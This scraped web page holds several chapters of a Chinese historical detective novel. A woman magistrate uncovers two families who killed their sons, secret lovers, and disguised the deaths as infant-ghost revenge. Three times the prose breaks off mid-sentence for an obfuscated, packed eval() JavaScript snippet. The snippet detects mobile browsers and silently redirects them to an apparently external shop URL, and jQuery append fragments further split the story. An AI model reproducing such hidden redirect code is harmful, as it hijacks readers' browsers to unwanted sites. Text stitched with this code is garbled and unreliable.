$(''#content'').append('' > 过了一会,衙役回禀:“大人,不止冯家夫妇不见踪影,就连尸体也不见了。” “什么?有没有人知道这是怎么回事?” 一个宾客道:“大人,方才我们一直聚集在院子中,不知道发生了什么。” “冯家公子的尸体原本放在何处?” “就放在冯运夫妇的房中,他们说想在孩子下葬之前,跟孩子多待一会。” 云水谣喃喃道:“他们会去哪里呢?” 元景佑向各位宾客抱拳施礼:“请各位来宾帮着寻找一下冯家夫妇和尸体的下落,若能找到,县令大人有赏。” 宾客们一来关心冯家夫妇的下落,二来也想在县令面前表现,都十分踊跃,争相道:“大人放心,我们这就去寻找。” 云水谣道:“等等,本官这会要去王家看看,你们若找到人,来王鸣家找本官便是。” “是。” 云水谣刚才没了主意,还好元景佑想出了让宾客们帮忙找人的方法,这样既不用花费官府的人力,也能尽快找到冯家之人。 云水谣对元景佑和其他属下道:“走,我们去另一个受害者王鸣家中。” 王家跟冯家相去不远,他们快步行走,大约两炷香的时间便到了。 王家的情况跟冯家相似,来吊唁的亲朋好友也是聚集在庭院中,没有进去。 云水谣道:“诸位,本官是来调查王家公子被杀一案的,烦请将死者的父母请出来,本官有事要问。” 宾客们道:“大人,此案是婴鬼作祟,没什么好查的。王家夫妇此刻十分悲伤,怕是没法接驾。” “到底是婴鬼作祟,还是人为,需要看了尸体才知道。烦请各位宾客去请死者父母,顺便将死者尸身抬出。” 宾客们见云水谣如此认真,也不敢再怠慢,便去敲王氏夫妇的房门。 谁知,王家的情况也一样,王鸣夫妇不见了,连带着他们儿子王俊生的尸体也不见了。 云水谣百思不解,便让王家的宾客们也去找人。 有些宾客很积极地去找人了,有些胆小的宾客却跌坐在地,喃喃自语:“完了完了,他们全家一定都被婴鬼杀了……” 云水谣道:“怎么可能?” “大人,您不知道,这王家一连生了六个女儿,掐死了好几个,实在太过残忍。想来这几个女鬼杀死王俊生还不解气,连王氏夫妇一并杀死……” 在场的宾客都赞成这个说法,就连几个衙役听了,也不禁浑身发冷,仿佛婴鬼就在不远处,等着择人而噬。 云水谣道:“此事必有蹊跷,之前的婴鬼杀人案,不论是不是真的是婴鬼作祟,死者的尸体都是在的,不会凭空消失。王家之人一定去了什么地方,找到他们便真相大白了。” 云水谣此言,略略安抚了一些人心。 然而,云水谣表面上镇定,心里却是焦急万分。 死者的父母为何会失踪了呢?这在以前的案子中从来没出现过。 难道,这婴鬼杀人案,还有什么不为人知的隐情? 45.尸体焚烧形迹可疑 女婴托梦天方夜谭 云水谣想自己出去寻人,却又怕宾客们回来找她会找不到人,因此只能在王家的客厅坐着。 她想去死者的房间看看,便对里正说道:“死者王俊生的屋子是哪间?本官想去看看。” 里正道:“在东边第三间,小的带您去。” 走进王俊生的房间,云水谣顿觉眼前一亮。这间屋子疏阔轩朗,文雅富丽,桌椅、笔墨摆放得井然有序。靠窗的位置是一个长方形的博古架,上面的书籍、古董摆放十分整齐。靠南边有一扇屏风,屏风后是一张黄杨木的床。 整间屋子一尘不染,光可鉴人,窗台上都摆放着几盆绿植,环境很不错。 云水谣问道:“这屋子是丫环收拾的吗?” 里正想了想,道:“应该是王俊生自己收拾的。这孩子从小就耐心细致,喜欢干净,对于房屋布置也很有自己的想法。我来过他家很多次,每次见到他的房间,都是如此整洁有序,我还夸他比女孩子还细心。没想道,他年纪轻轻就……唉。” 里正也是看着王俊生长大的,如今王俊生死于非命,里正自然十分悲伤。 云水谣看见旁边有个柜子,随手打开一看,里面放着的是一些男款衣物,应该是王俊生的,只是衣物摆放有些凌乱。其中一间衣物里,露出一缕红色的丝线。 云水谣伸手去扯那红色丝线,竟扯出一个同心结。 云水谣问道:“这同心结是王俊生之物吗?” “小人也不知道。想是王俊生年纪渐长,有了心仪的姑娘,因此买了同心结准备送她。王俊生、冯万里二人若是活着,也到了该娶妻的年纪了,可惜啊……可惜……” 云水谣想了想,把同心结收了起来,然后关上了柜门。 这时,有个衙役急匆匆地跑来,边跑边喊:“大人……大人……找到两个死者的父母了,他们……他们……” 见衙役结结巴巴的,云水谣着急地问道:“他们怎么了?是不是死了?” “没有……他们在一片空地上,火化两个死者的尸体……” “什么?火化?” 大夏的风俗,死者多为土葬,只有一些偏远地区的少数民族奉行火葬。 可是,冯万里、王俊生二人的父母,为何会将他们火葬? 云水谣急切道:“尸体不能烧,本官还没验尸,快带本官去现场……” “大人,来不及了,两具尸体已经火化完成,变成两堆灰了!” 云水谣站立不住,跌坐在椅子上。 景佑关切上前:“大人,您没事吧?” 云水谣深呼吸了几口气,才说出话来:“我没事……快去火化现场看看。” 她们赶到火化现场,发现火已经被扑灭,有两对中年夫妇正在收集骨灰。看他们衣着考究,神情哀伤,应该就是两个死者的父母了。 旁边站着许多他们的亲戚朋友,都没有说话,神色凄然。 云水谣冲上前去,问道:“为何要将死者火化?” 一个瘦削的中年男人道:“大人,我就是死者王俊生的父亲王鸣。因遭婴鬼复仇,致使小儿死亡,我们想息事宁人,平息婴鬼的怒气,因此才选择将儿子火化。儿子已经灰飞烟灭,想来那些枉死的女儿们应该消气了,不会再来找我们老两口的麻烦。” 死者冯万里的父亲冯运也说道:“正是,小人也是一样的想法,所以选择跟王家一起火化尸体。如果留着尸体,好好安葬,我们怕婴鬼怒气难消。” 云水谣不可置信:“你们……你们怎能如此做?这世上岂有婴鬼杀人,两位令郎之死定是人为,你们焚烧了尸体,什么痕迹都没了,这下彻底没法追查了……” 王鸣道:“大人,我们很肯定是婴鬼复仇。昨天晚上,我和家妻同时梦到死去的女儿们回来了,还说要报复我们。等我们醒来,就发现儿子死了,是被掐死的,可他的房间无人进去过……这死法跟女儿们一模一样,我们知道是她们回来复仇了……” 云水谣睁大了眼睛:“此言当真?” “千真万确,不敢欺瞒大人……” 冯运夫妇也说:“昨晚,我们的经历跟王家夫妇一样,也梦见了惨死的几个女儿,她们也说要报仇,让我们痛苦一生……我们惊醒后,发现做了同一个梦,已经很奇怪了。我们去看看儿子的情况,却发现他死了……我们这才知道,女婴们说的复仇是这个意思,婴鬼杀人是真的……” 听闻此言,围观的宾客们议论纷纷,更加相信了婴鬼杀人之事。 就连云水谣都差点相信了,否则这两对父母怎么会同时做这样的梦呢? 可是,她隐隐觉得,事情一定有蹊跷。 元景佑见云水谣一直不说话,低声问道:“大人,接下来该怎么办?” “他们把尸体都烧了,我实在不知道还能做什么。” “要不搜查一下两位死者的遗物和房间吧,也许能有别的线索。” “也好。王俊生的房间我看过了,接下来去看看冯万里的房间好了。” 云水谣提出要看冯万里的房间和遗物,谁知其父冯运却惊慌地说:“大人,万万不可啊!此事是婴鬼复仇,实在没有调查的必要,否则那些婴鬼不会放过我们老两口的!” 云水谣有些不满:“亏你们活了这么大年纪,还相信这个。既然相信,当初就不该杀女婴啊。” “这……大人,我们当时也是不得已而为之,没想到会有这种后果啊……” “什么不得已,你们就是不想养女儿而已。事到如今,还要为自己开脱,简直可恶!本官既是县官,有搜查之权,尔等不得阻挠!” 见云水谣如此说,冯运等人也不敢当真跟县官对着干,只得同意。 云水谣对景佑耳语几句,景佑领命而去。 云水谣来到冯家,看了死者冯万里的屋子。这间屋子没有王俊生那间屋子精致,但也算整洁。里面东西不多,随意摆放着一些弓箭、弹珠、动物雕塑等。 这间屋子没有屏风,床摆放在东边。云水谣走过去看了看,见床单平整,被子也叠好放在床头。 冯家夫妇就站在云水谣身后,云水谣问他们:“令郎是如何身故的?” 冯运道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13977403|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“回大人,昨晚我们夫妻从梦中惊醒,就来查看儿子的情况。见他睡在床上,一动不动,脖子上却有掐痕。我们探了探他的鼻息,发现他已死了,方知梦是真的,婴鬼真的来复仇了。” “原来如此。那他脖子上的掐痕是大人的还是小孩的,掐得深还是浅?” “这个……” 冯氏夫妇对视了一眼,眼神有些暗昧不明。 冯夫人说道:“回大人,我们没细看。” 云水谣没说什么,打开衣柜看了看。冯万里的衣柜也有些凌乱,衣服随意摆放着,没有叠整齐。 云水谣随手翻了翻,道:“这些衣服是令郎的遗物,本官要带回县衙调查。” 冯氏夫妇对视了一眼,有些犹豫。冯夫人对冯运道:“既然大人要看,就把衣服给大人吧。” 冯运道:“也罢,还请大人看完之后,把衣物归还,我们也想留个念想。” 云水谣觉得他们有些奇怪,他们都把亲儿子的尸体火化了,竟然要保留几件衣服作为念想。 难道他们就不怕留下儿子的衣物,会让女婴们发怒了? 冯家夫妇和王家夫妇今日的言行,处处透露着古怪。 云水谣把冯万里的衣物带上,回到了县衙。同时,元景佑也把王俊生的衣物带了回来。 刚才云水谣吩咐他做的事,就是去王家拿王俊生的遗物。 云水谣问元景佑:“景佑,方才你去拿王俊生的衣物,有没有遇到阻拦?” 元景佑道:“王氏夫妇一开始不愿意我把这些衣物拿走,还说没什么好看的。我强硬地搬出大人的名号,说他们不愿意就是违抗县官,他们才同意我把衣服带来。” “你有没有觉得他们很奇怪?” “是啊。其他受害者的父母都是将自己儿子好好安葬,只有冯家、王家的父母,竟直接将儿子火化,好像是……” “好像什么?” “好像是生怕别人从尸体上看出什么似的。” 听了元景佑的话,云水谣豁然开朗。从刚才开始,她就有一种怪怪的感觉,但又说不上哪里怪。 景佑的话给了她提示:冯、王两家的父母似乎在隐瞒什么,他们不希望别人发现更多的线索。 可是,这是为什么呢? 云水谣又道:“他们今日所说的话,你相信吗?” 元景佑问道:“大人说的是他们所做的梦?” “正是。” “他们四个同时梦见女婴,梦境内容都差不多,实在离奇怪诞。可是,他们似乎没有说谎的必要。大人,难道真的有什么超自然的力量?” “人鬼殊途,我还是坚信所有不合理的事情,一定有个合理的解释。景佑,你说他们几个会不会是在说谎?” “大人的意思是,他们编造了这样的梦境,目的是让人对婴鬼复仇之事深信不疑?” “正是。冯、王两家的父母,怎么会同时梦见婴鬼复仇?这其中必有古怪。他们联合起来说谎,是一个比较合理的推断。” “也许确实在说谎,但为什么呢?” 46.不伦之情暂寄彼岸花 误杀亲子假托婴鬼案 “我现在也想不明白。你说她们会不会是婴鬼复仇案的幕后主使?所以他们要编造谎言,让别人坚信真的有女婴的鬼魂来复仇?” 元景佑道:“他们若真是幕后主使,那制造这些案子的目的是什么呢?他们没得到任何东西,没有得到钱、名声、权力,唯一的影响,只是让百姓们对婴鬼更加畏惧了。可是这个结果,并不能给她们带来任何利益。而且,他们又有什么理由,害死自己的儿子,来佐证婴鬼复仇的存在?” 云水谣:“是的,你分析的也有道理。这些案子实在存在太多的疑点了,我现在还没法将它们串联起来。而且,我们还要考虑一个问题:妆娘吴芷秀是不是真的无辜?” 景佑:“大人,自从吴芷秀出狱,我们一直在暗中监视她。她一直没有离开过家,可昨夜竟然又发生了两起婴鬼杀人案。由常理推断,吴芷秀似乎是无辜的。但是,从从前的一些案子来看,吴芷秀又没法完全洗脱嫌疑。 “就比如,柳依依的表弟被杀一案。吴芷秀确实在柳依依的婚礼现场,她也亲口承认在婚宴时自己曾去过后花园,见到过赵檀。而赵檀就是在那个时间段死的。还有,孙修明的两个儿子被杀一案,事发时,吴芷秀在给孙府的姨娘化妆,而那个姨娘说自己有一段时间的记忆缺失了,那段时间,吴芷秀是否在姨娘房中都不能确定,那这桩案子,吴芷秀也有作案时间。” 云水谣:“是啊。我有一个猜测。” “什么猜测?” “也许,之前的婴鬼杀人案,确实是吴芷秀干的。昨晚的两起婴鬼杀人案,却是其他人的模仿作案。” “模仿作案?” “正是。最近婴鬼杀人案闹得沸沸扬扬,也许有人想杀了冯万里、王俊生二人,便故意模仿婴鬼杀人案,把嫌疑引到婴鬼身上,或是引到婴鬼杀人案的凶手身上。那么,就不会有人想到,杀死冯万里、王俊生的另有其人。” “大人说的很对,存在这个可能。之前的婴鬼杀人案,死的都是小男孩,这次却是两个成年的小伙子。由此可知,前后不像是同一个凶手。那么,到底是谁非要置冯万里、王俊生二人于死地?我已经向当地的居民打听过,这两个年轻人为人不错,很受欢迎,不曾得罪过什么人。” “要不这样,我们看看这两个年轻人的遗物,也许能发现什么。” “大人,我觉得只看他们的衣服不够,要不要去冯、王两家,把两个死者其他的遗物也拿来?” “我觉得没这个必要。两个死者的房间我都看过,其余东西摆放整齐,只有两人的衣物有些凌乱,像是刚被翻动过似的。也许线索就藏在衣物里。” “嗯。” 于是,云水谣、景佑二人便翻起了两个死者的衣物。 然而,他们把衣物翻了许多遍,没发现什么奇怪之处。 元景佑道:“大人,看来从衣服上看不出什么,不如我们再去两个死者家中调查。” “不,也并非全无收获。之前我从王俊生的衣服中,发现了这个。” 云水谣拿出一个同心结。 景佑疑惑道:“同心结?可是,这只能证明王俊生似乎有了心仪的姑娘,但跟此案似乎没有关系。” “如果他真有心仪的姑娘,我们找到那个姑娘,是不是可以发现更多线索?” “有这个可能,要不我去王家问问?” “也好。” 于是,景佑快马加鞭,又往王鸣家中而去。 云水谣百无聊赖地继续翻着两个死者的衣物,忽然发现了一处细节。 这些衣物的袖口处,都绣着一朵红色的彼岸花。看针法,似乎出自同一人之手。 这些彼岸花绣在袖子里面,而且很小,不仔细看发现不了。 男人的衣物一般不会如此精致,云水谣觉得这两个死者有些奇怪。 而且,为何他们衣服上的绣花出自同一人手中?难道他们的衣服都是在同一个地方买的? 但这应该不太可能,首先男人的衣物很少有在袖口里绣彼岸花的,其次就算他们总是在同一家店买,也不太可能买到的所有衣物都有绣花。 联想到王俊生的同心结,云水谣猜测,也许是那个喜欢王俊生的姑娘给王俊生的衣服绣花的。可她为什么要给冯万里的衣服也绣花呢? 莫非是王俊生、冯万里二人关系很好,所以王俊生请求自己的爱人给冯万里的衣服绣花? 可这也得冯万里想要绣花的衣服才行呀。一般的小伙子才不喜欢这种东西。 云水谣越想越觉得困惑。 她的手无意识地捏着死者的衣服,这时,她发现冯万里的其中一件衣服,领口好像有点厚,不符合普通衣服的形制。 她拿针线来将那件衣服的领口拆开,竟发现里面藏着一张画。 把画像展开一看,这上面画的竟然是王俊生,画旁还题字“相见欢”三个字。 云水谣喃喃自语:“冯万里的衣领里,藏着王俊生的画像……这究竟是怎么回事?他为何要把王俊生的画像藏在这么隐秘的地方?” 云水谣又看了看桌上放着的同心结。 忽然,一个猜测在她心里升起。 一个时辰后,元景佑回来了,道:“大人,我问了王俊生的父母,他们说王俊生并无心仪的姑娘,还问我为何会有此一问。我说我只是随口问问,没有提起同心结之事。我注意到,我问这个问题的时候,王家父母表情很怪异,像是羞愤,又像是痛恨,总之是一种很奇怪的表情。 “我不想无功而返,便提出再次搜查王俊生的房间,他们同意了。我没发现什么特别可疑之处,不过在王俊生的床单底下发现了针线。我想,王俊生一个大小伙子,房间里为何会有针线呢?说不定是他的情人落在那里的,我便把针线带回来了。” 说着,元景佑便拿出一些针线,这些线以红色为主,正适合绣彼岸花。 云水谣道:“我已经猜到是怎么回事了。王俊生并不存在什么心仪的姑娘,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13993068|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针线就是他自己的。” “什么?大人,一个小伙子怎么会使用针线呢?而且,他的同心结是怎么回事?” “我想,他的同心结并非是哪个姑娘相赠,而是冯万里相赠。” “什么?可……可冯万里也是男的啊。” “冯万里的衣领里,还藏着王俊生的画像,上面题着‘相见欢’三个字。也就是说,这两个死者,不是好友关系,而是情人关系。” “什么?!大人,您的意思是,他们两个……断袖?” “正是。” 云水谣把自己的分析说了出来: 第一,两个死者的衣袖里都绣着彼岸花,而且看绣工出自同一人之手。如果王俊生有心仪的姑娘,那姑娘没必要给冯万里的衣袖也绣上花。她既然跟王俊生相爱,便该跟其他男子保持距离才是。 而王俊生的床上发现了针线,且多为红色丝线,由此可知,并不存在什么姑娘,绣花的就是王俊生自己。冯万里是他的爱人,所以他将两人的衣袖都绣上了彼岸花,且是绣在袖口内侧,不易为人察觉之处。恐怕王俊生是借由这个举动,来表明两人关系不一般。 至于为什么绣的是彼岸花,恐怕是因为彼岸花的花叶永不相逢,有一种相爱之人没法相守的悲伤含义。冯、王二人的感情,注定为世人所不容,就如同彼岸花的花和叶一般。 虽然说,如今许多贵族男子好男风,豢养娈.童,但娈.童始终是玩物,没法光明正大地跟他们的主人在一起,都是私底下相聚。世人虽然对好男风之事睁一只眼闭一只眼,但一旦涉及到婚姻,不论男人的取向如何,则必须娶一女子。 而冯万里、王俊生二人显然是动了真情,他们想像世俗夫妻那般结合,却是不可能的。他们二人地位相当,也不可能让其中一个去当另一个的娈.童,而且他们之间的感情,也不容许有主人和娈童这样地位的差别,而是倾向于平等相交。 而且,冯万里把王俊生的画像缝在衣领里,如此遮遮掩掩,也可以证明他们关系不简单。衣领是离心口最近的地方,也就是说王俊生一直在他心里。 第二,便是冯、王两家父母的态度很奇怪。 他们把来吊唁的宾客留在院子里,自己偷偷把儿子的尸体运出去火化,好像生怕儿子的尸体被人发现什么问题,干脆烧光,一了百了。 也许,这两个死者就是被其父母掐死,因为两名死者的私.情被父母发现了,冯运夫妇和王鸣夫妇不能接受,干脆杀了儿子。 然而,成年儿子的死亡,必定会引起别人注意,官府也会介入调查。所以,为了掩盖他们杀子的真相,他们想到了最近闹得沸沸扬扬的婴鬼杀人案。 只要把儿子的死说成是婴鬼杀人,别人就不会再来调查死因,两对父母也可以躲过法律的制裁。 而她们之前所说的,同时梦见女婴要复仇,恐怕是商量好的说辞,是为了增加婴鬼复仇的可信度。 否则,怎么会有如此离奇的梦境? 47.人算不如天算 多情偏逢无情 第三,王俊生的房间非常干净整洁,所有物品都摆放得很整齐,里正也说王俊生比女孩还细心、爱干净。 那么,他的衣服就绝不可能摆放得如此凌乱,他的衣服乱肯定有别的原因。 也许,昨天晚上,王俊生可能是收拾了行李准备跟沈万里私奔,两人都把衣服带上了,但被双方父母发现。 双方父母杀了他们,把他们的尸体带回家。为了营造他们是死在家里的假象,双方父母把他们的衣服全都放回衣柜里。 但因为双方父母心情比较悲伤和慌乱,自然不可能有心思去叠衣服。所以,不论是冯万里的衣柜,还是王俊生的衣柜,里面的衣服都很凌乱。 而王俊生的同心结,还有冯万里的画像,因为藏得比较隐秘,双方父母并未发现,所以未曾销毁这两样物证。 第四,双方父母都说两个孩子是悄无声息地死在床上的,但是看他们两人的床铺,非常平整,被子也叠得很整齐,完全没有睡过的痕迹。 这可以进一步证明,两个死者其实是深夜出逃,所以才在逃走之前把被子、床单铺整齐。他们知道一旦离开就很难回来,所以把屋子收拾整齐,也算是他们对父母最后的一点孝心。 第五,便是元景佑去询问王家父母,王俊生是否有心仪的姑娘时,王家父母奇怪的表情。 一般来说,当父母的被问到这种问题,只需回答有或者没有就行了,脸上怎么会出现羞愤、痛恨的表情?除非儿子的恋情,是为人不耻、不可对外人道的。 听了云水谣的分析,又看了物证,元景佑恍然大悟:“原来是这样……怪不得我总感觉冯、王两家在阻挠我们查案,还信誓旦旦说一定是婴鬼复仇……这两家人都是连生六七个女婴,但一个都不养,或杀或卖,好不容易有了老来子,没想到两个男孩是断袖,这也真是讽刺得很。” 云水谣也暗暗叹息。她觉得,有时候老天把一切都安排好了。冯、王两家为了不绝后,做了那么多伤天害理的事,看似是生了儿子,其实以另一种方式绝后了。 那王俊生比女孩还细心,还会做针线活,想必在跟冯万里的恋情里,扮演的是女性角色。 云水谣并不觉得可怖,也不觉得鄙夷,这两个男孩只是选择了自己喜欢的生活,并没有伤害任何人。 只是,该如何让冯、王两家的父母认罪,却是个难题。 云水谣和元景佑商量了一会,觉得没有什么完全的办法。 忽然,云水谣的目光落在了那幅王俊生的画像上。 这幅画像应该是冯万里所画,虽然画技不怎么好,但却倾注了感情,把俊美的王俊生画得栩栩如生。画像上的王俊生微笑着,几片花瓣落在他的手心,一副岁月静好的模样。 云水谣拿着画像,问道:“景佑,你说王俊生的父母会不会想要这张画像呢?” “应该会吧,王俊生已经死了,尸体也已经火化,虽然有一些遗物,但对父母来说没什么用。如果他们能得到这张画像,也能暂缓思子之苦。” “是啊,我也是这么认为的。景佑,你派人去把冯运夫妇、王鸣夫妇带到公堂,我要亲自审问他们。” “是。” 云水谣心情沉重地看了这些遗物一眼,然后调整好心情,把关键的遗物,比如同心结、画像、针线、衣服,带到了公堂之上。 一个时辰后,冯氏夫妇、王氏夫妇都到了。 他们非常哀伤,相互搀扶着才能站立。 云水谣道:“你们儿子之死,若是另有隐情,现在招供,还可以减轻罪责。” 然而,两对父母都一口咬定,儿子就是被婴鬼寻仇而死。 云水谣便拿出证物,直言两位死者有断袖之癖,父母不能见容,将亲生儿子杀害,并把自己之前跟景佑的分析,原原本本地在公堂上再说了一遍。 冯氏夫妇、王氏夫妇都大惊失色,脸色惨白,似乎云水谣说中了他们的心病。然而,他们怎会轻易承认? 冯运道:“大人,您不要污蔑小儿的清白啊!” 王鸣也道:“大人,人都死了,还请您不要说这种不着边际的话吧。” 云水谣冷哼一声:“王俊生的房中有针线,而他和冯万里的衣袖都有相同的彼岸花刺绣,明显是王俊生绣的。两位死者的床铺整洁,但衣柜里的衣服却凌乱,他们大约是收拾了衣服准备私.奔,又被你们抓回来杀害吧?你们急着将死者火化,就是怕本官发现他们的伤痕有异,明显是被人为掐死吧?” 王俊生之母道:“大人,绝无此事!小儿房中的针线,是我落在他房间的。小儿和冯万里衣服上的刺绣,也是民妇所绣。因为两个孩子是好友,我给自己儿子绣花,自然也给冯万里这孩子绣了。” “是吗?那烦请冯夫人现场绣一朵彼岸花吧,本官看看你的绣工是否跟这些衣物上的绣工一致。” “这……” 王夫人有些为难。 云水谣没给她狡辩的时间,继续说道:“你若不愿绣,就是在说谎。” “我……民妇……” 王夫人一时不知道该说什么。 这时,云水谣拿出了王俊生的画像,道:“这幅画像,冯万里一直藏在自己的衣领里,想必是很珍视跟王俊生之间的感情。可是,你们既然否认他们有私.情,那本官便把这幅画烧了吧,免得惹人非议。” 说着,云水谣真的拿出火折子,作势要烧画。 王夫人叫道:“大人,求您将画还给民妇吧!小儿已死,若能得到他的画像,也是个念想。请大人体恤下情,让民妇下半辈子有个寄托。” “这幅画是在冯万里的衣领里发现的,应该是冯万里画的。就算要还,也应该还给冯家。” 冯运却说:“大人,我们家不需要这张画像。” 王夫人恨恨地看了他一眼,怒道:“冯运,你怎么能这么说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14001519|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯运道:“这又不是我儿子的画像,我要它做什么?大人,您要烧便烧吧。” 云水谣点头:“好吧。” 说着,云水谣便打算点燃这副画,火折子已经很接近画了。只要再近一点点,画就会燃烧。 王夫人扑地大哭:“大人,求您别烧!求您把画给我!要多少钱都行!” 云水谣道:“我不要钱,要真相。留给你的时间不多了。” 王夫人赶紧道:“我说!我说!我儿子是被冯鸣夫妇杀的!他们的儿子冯万里是被我和我夫君杀的!大人,求您别烧我儿子的画啊……” 此言一出,王鸣赶紧捂住他夫人的嘴,骂道:“你胡说什么!” 冯氏夫妇也惊慌失措,气急败坏地骂道:“你不要胡说,明明是婴鬼杀人!昨天晚上,分明是女婴托梦要复仇,等我们做梦醒来,就发现两个孩子死了……” 王夫人奋力挣脱王鸣的手,哭道:“事到如今,我们就招了吧……我已经被逼着火化了自己的儿子,我不能再让儿子的最后一幅画被烧……我豁出去了,什么都不管了……” 云水谣对衙役道:“拉住冯氏夫妇和王鸣,让王夫人说话。” 衙役们依言上前,把其他三人按住。 王夫人这才得以从容开口:“大人,您所料不差,我儿子王俊生,确实跟冯万里这孩子有不伦之恋。一开始我们只当他们年轻人玩得好,后来他们分别向父母坦白了,我们和冯运夫妇都不能接受。我们试过很多方法,恳求,威逼,利诱,可他们都不为所动。 “后来,我们两家妥协了,说只要这两个孩子娶了妻子,生下儿子,就允许他们私底下在一起,只是不许声张。谁知,他们俩竟连这个方案都不同意。他们都不愿意与女子成亲,只认对方一个伴侣。我们两家给他们找过不少女子,有温柔贤惠的,有活泼开朗的,有色艺双绝的,有浓艳妖媚的,可他们视这些女子如无物,丝毫不曾动心。 “我们没办法,只得把两个孩子关在家里,不许他们见面。谁知,他们竟约好了私.奔。昨天晚上,他们两个各自收拾了衣物和其他东西,准备偷偷离开。冯万里那孩子,偷偷来到我家后院,找我儿子王俊生。但是,冯运夫妇发觉了,追了过来,我和我夫君也惊醒了,见到了两个孩子准备逃跑的一幕。 “当时,我们跟冯家夫妇起了争执,互相指责对方的孩子带坏了自己的孩子。冯运一气之下,打了我儿子一巴掌,我儿子的头撞到了石头上,竟然死了。见此情形,我还没反应过来,我夫君便举起一块石头,也把冯万里那孩子砸死了。 “出了这样的变故,我们已经由一开始的互相埋怨、生气,变得惊慌失措又伤心。两个孩子已经死了,现在最重要的是掩盖这两桩凶杀案。我们两家互相杀了对方的孩子,如果被官府发现,我们四个老人都要偿命。因此,我们想到了最近很知名的婴鬼杀人案,决定把这两桩命案往婴鬼杀人案上靠。 48.慈母忏悔涕泗横流 妆娘藏匿智谋过人 王夫人接着说道:“我们商量好了一个计策,就说这两个孩子都是被婴鬼掐死的,并说昨晚女婴鬼魂都曾来托梦。如果我们四个做了同样的梦,就更能增加婴鬼复仇的可信度。然而,两具尸体头上的伤痕是掩盖不了的,一旦被验尸,就瞒不住了。因此,我夫君想出了火化两具尸体的提议。 “一把火烧了,什么痕迹都没了,是非曲直全凭我们四个说了算。这个提议虽然很好,但我和冯夫人一开始都很反对。但我夫君和冯运二人逼迫我们,说现在不能妇人之仁,一旦暴露,我们四个全完了。因此,我和冯夫人只好勉强同意火化自己的孩子。 “然而,得知两个孩子的死讯,我们两家的亲朋好友一定会来吊唁。因此我们商量好了,都说因为太伤心,想自己静静,请宾客们先在前院等候。在他们待在前院的时候,我们关上房门,从小门把尸体运出去烧了。至于两个孩子包袱里的衣服,我们胡乱塞在衣柜里,也没心情去叠,没想到这个细节竟被云大人注意到了。” 云水谣问道:“所以,其实你们并未得到女婴托梦?” “是的,这话是编出来的。大人,我已经全招了,求您把我儿的画像给我。” 云水谣叹息一声,将王俊生的画像给她。 王夫人手捧着画像,像是捧着稀世珍宝。她把脸贴在画像上,想流泪又硬生生憋着,免得把画像打湿了。 她喃喃自语:“孩子,早知如此,娘就同意你跟冯万里在一起了……为什么会发展到现在这个地步……娘不是有意要烧掉你的尸体,你别怪娘……” 看着王夫人这慈母心肠,云水谣也十分动容。只是,她忽然想起一事,问王夫人:“王夫人,你可曾为了你的女儿如此伤心?” 王夫人被问住了,茫然地抬头看着云水谣,眼神有些困惑和空洞。 云水谣自嘲地笑笑,觉得自己多此一问。她若是会心疼女儿,当初就不会杀掉女婴或卖掉女儿了。 见王夫人把什么都说了,王鸣和冯氏夫妇也无心再隐瞒,承认了自己的罪行。 他们年事已高,已经无法再生育,唯一的儿子又死了,实在是万念俱灰。 云水谣依照律法,将他们四个判处了流放,家产没收。 破了这个案子后,云水谣觉得很疲惫,便在后堂休息片刻。 景佑走了进来,默默地端上一些食物。 云水谣吃了一些,道:“这桩案子只是虚惊一场,跟之前的婴鬼杀人案不同,只是冯、王两家父母误杀儿子,为了掩盖真相,才假托婴鬼杀人。所以,妆娘吴芷秀仍有嫌疑,以前的那些案子,有可能是她犯下的。接下来还需继续盯着吴芷秀。” “是。” 这时,却见一个衙役匆匆跑回来,道:“大人,吴芷秀不见了!” 云水谣站了起来,问道:“怎么回事?” “大人,我们几个衙役轮流盯着吴芷秀,这几个时辰本来是我盯着的。盯的时间长了,小人有些累了,一个打盹的功夫,吴芷秀就不见了。小人遍寻了她家,仍然找不到踪影,因此赶快回来禀告大人。” “是吗……你打盹了多久?” “大概一炷香的时间。” “你睡着之前,她在做什么?” “她一直在屋子里绣花,绣了许久。小人一直盯着她看,实在有些无聊,恐怕因此产生困倦,请大人恕罪。” “无心之失,也不能怪你。她既然逃走,就更证明她心虚。她家的门有没有打开?” “前后两扇门都锁着。” “她有没有可能从屋顶逃走?” “小人就是在屋顶盯着她,她若从屋顶走,小人应该会惊醒的。而且,以她的能力,应该上不了屋顶,也不敢在那么狭窄的屋顶走动才是。” “这么一会功夫,她就算逃了,也走不远。先找画师画几张吴芷秀的画像,交给各城门的士兵,吩咐各城门严加防守,如遇画像中的女子,立即扣押。” “是。” 